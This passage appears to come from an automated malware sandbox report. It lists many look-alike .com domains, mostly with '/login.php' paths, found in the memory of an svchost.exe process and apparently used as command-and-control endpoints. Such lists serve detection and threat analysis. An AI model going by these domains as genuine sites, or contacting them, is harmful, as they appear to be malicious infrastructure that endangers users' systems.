    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopybym.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695430448.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1698223537.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1722986918.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1693224351.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopybyt.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopycoc.com/
    Source: svchost.exe, 00000001.00000003.2279729666.0000000004DCC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopycoc.com/login.php
    Source: svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopycom.com/http://gacyqob.com/
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908265965.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909737612.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906894619.000000000089B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914899737.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914808529.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914793466.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopycyf.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopydaf.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopydum.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901301890.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopygat.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyjuf.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopykak.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopykum.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopymyc.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopymyc.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847975056.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopypif.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyqim.com/
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyret.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111044292.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2099585241.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2109717439.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vopyzuc.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowybof.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowycok.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905496226.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905754051.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905235360.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157170272.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowycut.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowygem.com/http://pujylog.com/http://qebysul.com/http://pupymyp.com/H
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901395813.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowygem.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863304297.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844516038.000000000089C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowykaf.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1889657828.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879362125.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1877345460.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowymyk.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1971826168.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowypim.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowypit.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vowyqyt.com/
